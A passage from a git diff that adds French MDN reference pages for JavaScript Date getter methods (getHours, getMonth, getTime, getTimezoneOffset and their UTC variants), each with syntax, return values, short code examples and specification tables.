Cette méthode doit être utilisée à la place de {{jsxref("Date.prototype.getYear()", "getYear()")}}.

+ +
{{EmbedInteractiveExample("pages/js/date-getfullyear.html")}}
+ + + +

Syntaxe

+ +
dateObj.getFullYear()
+ +

Valeur de retour

+ +

Un entier correspondant à l'année de la date selon l'heure locale.

+ +

Exemples

+ +

Utiliser getFullYear()

+ +

L'exemple qui suit assigne la valeur à quatre chiffres de l'année courante à la variable année.

+ +
var aujd = new Date();
+var année = aujd.getFullYear();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getFullYear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setFullYear()")}}
    • +
  • {{jsxref("Date.prototype.getYear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/gethours/index.html b/files/fr/web/javascript/reference/global_objects/date/gethours/index.html new file mode 100644 index 0000000000..e4bb2c3e21 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/gethours/index.html @@ -0,0 +1,83 @@ +--- +title: Date.prototype.getHours() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getHours +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours +--- +
{{JSRef}}
+ +

La méthode getHours() renvoie l'heure pour la date renseignée, d'après l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-gethours.html")}}
+ + + +

Syntaxe

+ +
dateObj.getHours()
+ +

Valeur de retour

+ +

Un entier, compris entre 0 et 23 qui indique l'heure de la date indiquée selon l'heure locale.

+ +

Exemples

+ +

Utiliser getHours()

+ +

La seconde instruction ci-dessous assigne la valeur 23 à la variable heure, selon la valeur de l'objet {{jsxref("Date")}} noel95.

+ +
var noel95 = new Date("December 25, 1995 23:15:00");
+var heure = noel95.getHours();
+
+console.log(heure); //23
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getHours")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCHours()")}}
    • +
  • {{jsxref("Date.prototype.setHours()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.html new file mode 100644 index 0000000000..15b30f7d9c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.html @@ -0,0 +1,81 @@ +--- +title: Date.prototype.getMilliseconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getMilliseconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds +--- +
{{JSRef}}
+ +

La méthode getMilliseconds() renvoie les millièmes de secondes de la date renseignée d'après l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-getmilliseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.getMilliseconds()
+ +

Valeur de retour

+ +

Un nombre entre 0 et 999 indiquant le nombre de millisecondes pour la date indiquée, selon l'heure locale.

+ +

Exemples

+ +

Utiliser getMilliseconds()

+ +

L'exemple suivant assigne la partie des millièmes de secondes de l'heure courante à la variable ms.

+ +
var aujd = new Date();
+var ms = aujd.getMilliseconds();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getMilliseconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCMilliseconds()")}}
    • +
  • {{jsxref("Date.prototype.setMilliseconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getminutes/index.html b/files/fr/web/javascript/reference/global_objects/date/getminutes/index.html new file mode 100644 index 0000000000..42b2e04b2c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getminutes/index.html @@ -0,0 +1,85 @@ +--- +title: Date.prototype.getMinutes() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getMinutes +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes +--- +
{{JSRef}}
+ +

La méthode getMinutes() renvoie les minutes pour la date renseignée d'après l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-getminutes.html")}}
+ + + +

Syntaxe

+ +
dateObj.getMinutes()
+ +

Valeur de retour

+ +

La valeur renvoyée par getMinutes est un entier entre 0 et 59 représentant le nombre de minutes pour la date indiquée, selon l'heure locale.

+ +

Exemples

+ +

Utiliser getMinutes()

+ +

La seconde instruction ci-dessous assigne la valeur 15 à la variable minutes, selon la valeur de l'objet {{jsxref("Date")}} noel95.

+ +
var noel95 = new Date("December 25, 1995 23:15:00");
+var minutes = noel95.getMinutes();
+
+console.log(minutes); //15
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
{{CompatibilityTable}}
+ + + +

{{Compat("javascript.builtins.Date.getMinutes")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCMinutes()")}}
    • +
  • {{jsxref("Date.prototype.setMinutes()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getmonth/index.html b/files/fr/web/javascript/reference/global_objects/date/getmonth/index.html new file mode 100644 index 0000000000..d1c96b3c48 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getmonth/index.html @@ -0,0 +1,94 @@ +--- +title: Date.prototype.getMonth() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getMonth +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth +--- +
{{JSRef}}
+ +

La méthode getMonth() retourne le mois de la date renseignée d'après l'heure locale. La numérotation démarre à 0 (c'est-à-dire que 0 correspond au premier mois de l'année).

+ +
{{EmbedInteractiveExample("pages/js/date-getmonth.html")}}
+ + + +

Syntaxe

+ +
dateObj.getMonth()
+ +

Valeur de retour

+ +

Un entier entre 0 et 11 selon le mois de la date indiquée et d'après l'heure locale (0 correspond à janvier, 1 à février, et ainsi de suite).

+ +

Exemples

+ +

Utiliser getMonth()

+ +

La seconde instruction ci-dessous assigne la valeur 11 à la variable mois, d'après la valeur de l'objet {{jsxref("Date")}} noel95.

+ +
var noel95 = new Date("December 25, 1995 23:15:00");
+var mois = noel95.getMonth();
+
+console.log(mois); //11
+
+ +
+

Note : Si besoin, on pourra récupérer le nom complet du mois ("Janvier" par exemple) en utilisant Intl.DateTimeFormat() avec un paramètre options. En utilisant cette méthode, il est plus simple d'internationaliser le site ou l'application :

+ +
var options = { month: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// December
+console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
+// Dezember
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getMonth")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCMonth()")}}
    • +
  • {{jsxref("Date.prototype.setMonth()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/getseconds/index.html new file mode 100644 index 0000000000..1d6ed36ad0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getseconds/index.html @@ -0,0 +1,83 @@ +--- +title: Date.prototype.getSeconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getSeconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds +--- +
{{JSRef}}
+ +

La méthode getSeconds() renvoie les secondes pour la date renseignée d'après l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-getseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.getSeconds()
+ +

Valeur de retour

+ +

La valeur renvoyée par getSeconds() est un entier entre 0 et 59 correspondant au nombre de secondes pour la date donnée selon l'heure locale.

+ +

Exemples

+ +

Utiliser getSeconds()

+ +

La seconde instruction ci-dessous assigne la valeur 30 à la variable secondes, selon la valeur de l'objet {{jsxref("Date")}} noel95.

+ +
var noel95 = new Date("December 25, 1995 23:15:30");
+var secondes = noel95.getSeconds();
+
+console.log(secondes); //30
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getSeconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCSeconds()")}}
    • +
  • {{jsxref("Date.prototype.setSeconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/gettime/index.html b/files/fr/web/javascript/reference/global_objects/date/gettime/index.html new file mode 100644 index 0000000000..2ade1f6f16 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/gettime/index.html @@ -0,0 +1,122 @@ +--- +title: Date.prototype.getTime() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getTime +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime +--- +
{{JSRef}}
+ +

La méthode getTime() renvoie la valeur numérique correspondant au temps pour la date renseignée, d'après le temps universel (c'est-à-dire relative à UTC, une mesure donnée par getTime() sera indépendante du fuseau horaire sur lequel on se trouve). Cette valeur numérique est le nombre de millisecondes écoulées depuis le premier janvier 1970 à minuit UTC.

+ +

Vous pouvez utiliser cette méthode pour vous affecter une date et un temps à une autre instance de Date. Cette méthode est fonctionnellement équivalente à la méthode {{jsxref("Date.valueof", "valueOf()")}}.

+ +
{{EmbedInteractiveExample("pages/js/date-gettime.html")}}
+ + + +

Syntaxe

+ +
dateObj.getTime()
+ +

Valeur de retour

+ +

La valeur renvoyée par la méthode getTime() est le nombre de millièmes de secondes entre le 1 janvier 1970 à 00:00:00 UTC et la date indiquée.

+ +

Exemples

+ +

Utiliser getTime()

+ +

L'exemple qui suit assigne la valeur de anniversaire à copie :

+ +
var anniversaire = new Date(1994 , 11, 10); // 10 décembre 1994
+var copie = new Date();
+copie.setTime(anniversaire.getTime());
+
+ +

Mesurer un temps d'exécution

+ +

Effectuer une soustration entre deux appels à getTime() donne la durée écoulée entre ces appels. On peut donc utiliser cette méthode afin de connaître la durée d'exécution de certaines opérations (voir également la méthode {{jsxref("Date.now()")}} qui peut permettre d'éviter d'instancier des objets intermédiaires).

+ +
var fin, début;
+
+début = new Date();
+for (var i = 0; i < 1000; i++) {
+  Math.sqrt(i);
+}
+fin = new Date();
+
+console.log('Durée de cette opération : ' + (fin.getTime() - début.getTime()) + ' msec');
+
+ +

Précision temporelle réduite

+ +

Afin de protéger contre les attaques de minutage et d'identification, la précision de new Date().getTime() peut être arrondie en fonction des paramètres du navigateur. Pour Firefox, la préférence privacy.reduceTimerPrecision est activée par défaut et vaut, par défaut 20µs pour Firefox 59 et 2ms pour Firefox 60.

+ +
// Précision temporelle réduite (2ms) pour Firefox 60
+new Date().getTime();
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// précision temporelle avec `privacy.resistFingerprinting` activé
+new Date().getTime();
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+
+ +

Pour Firefox, il est également possible d'activer privacy.resistFingerprinting auquel cas la précision sera 100ms ou la valeur de privacy.resistFingerprinting.reduceTimerPrecision.microseconds selon laquelle est plus grande.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getTime")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.setTime()")}}
    • +
  • {{jsxref("Date.prototype.valueOf()")}}
    • +
  • {{jsxref("Date.prototype.now()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html b/files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html new file mode 100644 index 0000000000..97c2ab3604 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html @@ -0,0 +1,82 @@ +--- +title: Date.prototype.getTimezoneOffset() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getTimezoneOffset +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset +--- +
{{JSRef}}
+ +

La méthode getTimezoneOffset() retourne la différence en minutes entre le fuseau horaire UTC, et celui de l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-gettimezoneoffset.html")}}
+ + + +

Syntaxe

+ +
dateObj.getTimezoneOffset()
+ +

Valeur de retour

+ +

La valeur retournée est la différence, exprimée en minutes, entre les fuseaux horaires UTC et celui de l'heure locale. Cette différence est positive si le fuseau horaire local est en retard par rapport à UTC, et négative s'il est en avance.

+ +

Par exemple, si votre fuseau horaire est UTC+10 (Australian Eastern Standard Time, Vladivostok, Chamorro), la valeur retournée sera -600. L'heure d'été (DST pour daylight saving time en anglais) empêche cette valeur d'être une constante.

+ +

Exemples

+ +

Utiliser getTimezoneOffset()

+ +
var x = new Date();
+var differenceFuseauxEnHeures = x.getTimezoneOffset() / 60;
+// -2
+
+// Décalage temporel local pour le premier mai
+// Attention, Date() utilise les mois numérotés
+// à partir de zéro et mai est donc représenté
+// avec 4 (et pas 5)
+var travail = new Date(2017, 4, 1);
+var decalage = travail.getTimezoneOffset() / 60;
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getTimezoneOffset")}}

diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcdate/index.html b/files/fr/web/javascript/reference/global_objects/date/getutcdate/index.html new file mode 100644 index 0000000000..5d2059e88b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutcdate/index.html @@ -0,0 +1,82 @@ +--- +title: Date.prototype.getUTCDate() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCDate +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate +--- +
{{JSRef}}
+ +

La méthode getUTCDate() renvoie le jour du mois pour la date renseignée d'après UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-getutcdate.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCDate()
+ +

Valeur de retour

+ +

La valeur renseignée par getUTCDate() est un entier entre 1 et 31 pour le jour du mois de la date indiquée selon le temps universel.

+ +

Exemples

+ +

Utiliser getUTCDate()

+ +

L'exemple suivant assigne le jour du mois pour la date actuelle, à la variable jour.

+ +
var aujourdhui = new Date();
+var jour = aujourdhui.getUTCDate();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCDate")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getDate()")}}
    • +
  • {{jsxref("Date.prototype.getUTCDay()")}}
    • +
  • {{jsxref("Date.prototype.setUTCDate()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcday/index.html b/files/fr/web/javascript/reference/global_objects/date/getutcday/index.html new file mode 100644 index 0000000000..d97a0bd31e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutcday/index.html @@ -0,0 +1,82 @@ +--- +title: Date.prototype.getUTCDay() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCDay +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay +--- +
{{JSRef}}
+ +

La méthode getUTCDay() renvoie le jour de la semaine pour la date renseignée d'après UTC. La numérotation commence à 0, et dimanche est considéré comme le premier jour de la semaine.

+ +
{{EmbedInteractiveExample("pages/js/date-getutcday.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCDay()
+ +

Valeur de retour

+ +

La valeur renvoyée par getUTCDay() est un entier correspondant au jour de la semaine de la date indiquée selon le temps universel (0 pour dimanche, 1 pour lundi, 2 pour mardi, et ainsi de suite).

+ +

Exemples

+ +

Utiliser getUTCDay()

+ +

L'exemple suivant assigne le jour de la semaine de la date actuelle à la variable jourSemaine.

+ +
var aujourdhui = new Date()
+var jourSemaine = aujourdhui.getUTCDay()
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCDay")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • +
  • {{jsxref("Date.prototype.getDay()")}}
    • +
  • {{jsxref("Date.prototype.setUTCDate()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.html b/files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.html new file mode 100644 index 0000000000..873d48d53b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.html @@ -0,0 +1,80 @@ +--- +title: Date.prototype.getUTCFullYear() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCFullYear +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear +--- +
{{JSRef}}
+ +

La méthode getUTCFullYear() renvoie l'année de la date renseignée, d'après UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-getutcfullyear.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCFullYear()
+ +

Valeur de retour

+ +

La valeur renvoyée par getUTCFullYear() est un nombre correspondant à l'année de la date indiquée selon le temps universel. Pour les dates entre les années 1000 et 9999, getUTCFullYear() renvoie un nombre à quatre chiffres, par exemple 1995.

+ +

Exemples

+ +

Utiliser getUTCFullYear()

+ +

L'exemple suivant assigne une valeur à 4 chiffres, l'année courante, à la variable annee.

+ +
var aujourdhui = new Date();
+var annee = aujourdhui.getUTCFullYear();
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCFullYear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setFullYear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getutchours/index.html b/files/fr/web/javascript/reference/global_objects/date/getutchours/index.html new file mode 100644 index 0000000000..c9139151c7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutchours/index.html @@ -0,0 +1,81 @@ +--- +title: Date.prototype.getUTCHours() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCHours +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours +--- +
{{JSRef}}
+ +

La méthode getUTCHours() renvoie les heures de la date renseignée, d'après UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-getutchours.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCHours()
+ +

Valeur de retour

+ +

Un entier entre 0 et 23 correspondant à l'heure de la date indiquée selon le temps universel.

+ +

Exemples

+ +

Utiliser getUTCHours()

+ +

L'exemple suivant assigne les heures de la date actuelle à la variable heures.

+ +
var aujourdhui = new Date();
+var heures = aujourdhui.getUTCHours();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCHours")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getHours()")}}
    • +
  • {{jsxref("Date.prototype.setUTCHours()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html new file mode 100644 index 0000000000..f662f995c6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html @@ -0,0 +1,85 @@ +--- +title: Date.prototype.getUTCMilliseconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMilliseconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds +--- +
{{JSRef}}
+ +

La méthode getUTCMilliseconds() renvoie les millièmes de secondes pour la date renseignée selon UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-getutcmilliseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCMilliseconds()
+ +

Valeur de retour

+ +

Un entier entre 0 et 999 correspondant au nombre de millisecondes pour la date indiquée, selon le temps universel.

+ +
+

Note : Le résultat de cette méthode n'est pas le temps "Epoch". Si on veut obtenir le nombre de millisecondes depuis le premier janvier 1970, on utilisera la méthode {{jsxref("Date.prototype.getTime()")}}.

+
+ +

Exemples

+ +

Utiliser getUTCMilliseconds()

+ +

L'exemple suivant assigne les millièmes de secondes pour la date actuelle à la variable ms.

+ +
var aujourdhui = new Date();
+var ms = aujourdhui.getUTCMilliseconds();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.25', 'Date.prototype.getUTCMilliseconds')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCMilliseconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getMilliseconds()")}}
    • +
  • {{jsxref("Date.prototype.setUTCMilliseconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.html b/files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.html new file mode 100644 index 0000000000..e1a8d1a996 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.html @@ -0,0 +1,81 @@ +--- +title: Date.prototype.getUTCMinutes() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMinutes +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes +--- +
{{JSRef}}
+ +

La méthode getUTCMinutes() renvoie les minutes de la date renseignée, d'après UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-getutcminutes.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCMinutes()
+ +

Valeur de retour

+ +

Un entier entre 0 et 59 correspondant au nombre de minutes pour la date indiquée selon le temps universel.

+ +

Exemples

+ +

Utiliser getUTCMinutes

+ +

L'exemple suivant assigne les minutes de la date actuelle à la variable minutes.

+ +
var aujourdhui = new Date();
+var minutes = aujourdhui.getUTCMinutes();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
